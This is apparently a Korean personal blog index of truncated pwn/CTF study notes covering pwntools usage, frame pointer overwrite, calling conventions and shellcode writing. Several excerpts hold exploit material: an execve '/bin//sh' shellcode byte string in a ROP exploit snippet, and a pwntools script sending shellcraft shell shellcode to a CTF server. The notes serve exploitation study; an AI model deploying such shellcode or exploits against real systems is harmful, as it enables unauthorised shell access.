ETC/Pwn 메모장
-
Pwntools에서 gdb에 붙기ETC/Pwn 메모장 2019. 7. 25. 00:00
mmap을 이용한 ROP exploit 코드 인데, 여기서 popad와 pushad 명령어의 동작이 어떻게 되는지 궁금해서 gdb에 pwntools를 붙히는 방법을 알아 봤다. from pwn import * breakpoint = {'bp1':0x08048591} context.terminal = ['tmux', 'splitw', '-h'] libc = ELF("/lib/i386-linux-gnu/libc-2.23.so") shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" binary = ELF('./rop') p = proce..
-
Pwntools에서 recv와 recvnETC/Pwn 메모장 2019. 7. 14. 23:00
recv( numb = 4096 , timeout = default ) → str Receives up to numb bytes of data from the tube, and returns as soon as any quantity of data is available. 튜브에서 최대 numb(4096) 바이트의 데이터를 수신하고 사용할 수있는 데이터의 양이 즉시 반환됩니다. recvn(numb, timeout = default) → str Receives exactly n bytes. 정확히 n 바이트를 받습니다. recv 받을때 정확한 바이트 수를 알고 있다면, recvn을 사용하고, 이외에는 recv()를 사용하면 될거 같다. 아니면 recvuntil도 있으니까 이거 써도 될듯 recv에서 데이터..
-
FPO 할때 주의!(32bits)ETC/Pwn 메모장 2019. 7. 12. 23:12
ebp 변조 후, main의 mov ecx, [ebp-0x4]에서 ecx에는 ebp-0x4안의 값이 들어감 leave에서 ebp 변하는건 이제 상관 없음 왜? ecx로 esp값을 바꿔주는 부분이 있으니까 ebp-0x4 안의 주소가 ecx로 복사 되니까 (스택 시작 주소 + 4)를 (ebp)로 변조 하면 스택 시작 주소가 ecx로 복사 -> ecx = (스택시작주소 + 4) - 4 mov esp, [ecx-0x4] 과정에서 스택 시작주소 - 4가 esp로 들어감 그러므로, 스택 시작 주소 +4에 system이 들어가 있으니까 처음에 스택 시작 주소를 넣어줄 때 +8 해줘야함.
-
FPO할때 주의! (64bits)ETC/Pwn 메모장 2019. 7. 11. 23:08
vuln 함수 fp 변조하면 vuln 함수 leave ret할때 정상동작 왜? leave 할때 mov rsp, rbp하고, pop rbp하는데 아 안에 들어가 있는 주소를 변조했으니까 vuln 함수 끝날때 leave ret은 정상적으로 됨 그리고 main에서 leave할때 rsp를 (원하는 곳+8)으로 바꿔주고(여기서 변조한 rbp값은 pop으로 인해 + 8됨), ret에서 rsp가 가르키는 주소를 rip에 넣게됨. 결국에는 rbp 변조할때 이동 원하는 주소 -8를 해줘서 변조 시켜주거나, 아니면 원하는 주소 에서부터 nop을 8개 넣어주면 됨. 단, 여기서 nop넣은 주소로 rbp변조
-
함수 인자와 Return 값 레지스터 (feat.32, 64 bit)ETC/Pwn 메모장 2019. 6. 25. 23:59
#include int tmp(int a, int b, int c, int d, int e, int f) { printf("%d %d %d %d %d %d\n", a, b, c, d, e, f); return 1; } int main() { printf("%d\n", tmp(1, 2, 3, 4, 5, 6)); } 위의 코드에서 32비트와 64비트의 Function Argument와 Function Return 값 저장 레지스터를 알아보자. 32 BITS pwndbg> disas main Dump of assembler code for function main: 0x0804844a : lea ecx,[esp+0x4] 0x0804844e : and esp,0xfffffff0 0x08048451 : push ..
-
shellcraft에서 64bit shellcode 에러ETC/Pwn 메모장 2019. 6. 24. 23:40
기본적으로 64비트 쉘코드를 실행시키고 싶을때에는 이런 식으로 작성한다. from pwn import * shellcode = shellcraft.amd64.linux.sh() p = run_assembly(shellcode) p.interactive() 하지만 shellcode를 실행시키는 단계에서 에러가 나는 것을 볼 수 있을건데, 그때 다음 한 줄만 추가해주면 된다. context(arch='amd64', os='linux') 마찬가지로, 익스코드에는 다음과 같이 작성한다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3005) context(arch='amd64', os='linux') shellcode = asm(shellcraft.amd64.linux..
-
반복문에서 쉘코드 크기 줄이기ETC/Pwn 메모장 2019. 6. 24. 22:43
쉘코드는 만들때 기본적으로 Null Byte(\x00)가 없어야 하고(인자가 끊기기 때문), 들어갈 버퍼가 작을 수 있기 때문에 쉘코드의 크기를 최대한 줄이는 것이 좋다. 기본적으로 while이나 for와 같은 반복문에서 다음과 같이 줄일 수 있다. for(int i = 0; i < 2; i++){ // code... } 위와 같은 반복문이 있을 경우 i 가 0, 1, 2일때 총 3번 반복문 안의 코드를 실행하게 되는데, 이 부분을 어셈블리어로 번역하게 되면 기본적으로는 다음과 같이 나타낼 수 있다. ; code.. xor ecx, ecx; ecx를 i라고 두고 for_function: ; code.. inc ecx; i++ cmp BYTE cl, 2; i 와 2 비교 jle for_function; i..
-
shellcode 작성 시 null byte 제거하기ETC/Pwn 메모장 2019. 6. 20. 23:22
기본적으로 shellcode 작성 시에는 null byte를 없애는 것이 최우선 목표이다. mov eax, 0x0 이러한 코드는 다음과 같이 기계어로 번역된다. b8 00 00 00 00 mov eax,0x0 이렇게 되면 shellcode로 넣을 때에 "\xB8\x00\x00\x00\x00" 이런 식으로 들어가게 되는데 만약 strcpy로 shellcode를 삽입할 시에 \x00(Null Byte) 에서 끊기므로 우리는 저 Null Byte를 없애줘야 한다. 몇가지 방법이 있는데 하나하나 살펴보자. 1. xor를 이용한 레지스터 초기화 xor eax, eax xor 연산을 똑같은 레지스터와 하게 되면 그 레지스터는 0x0으로 초기화 된다. 이 asm code를 기계어로 번역해보자. 31 c0 xor ea..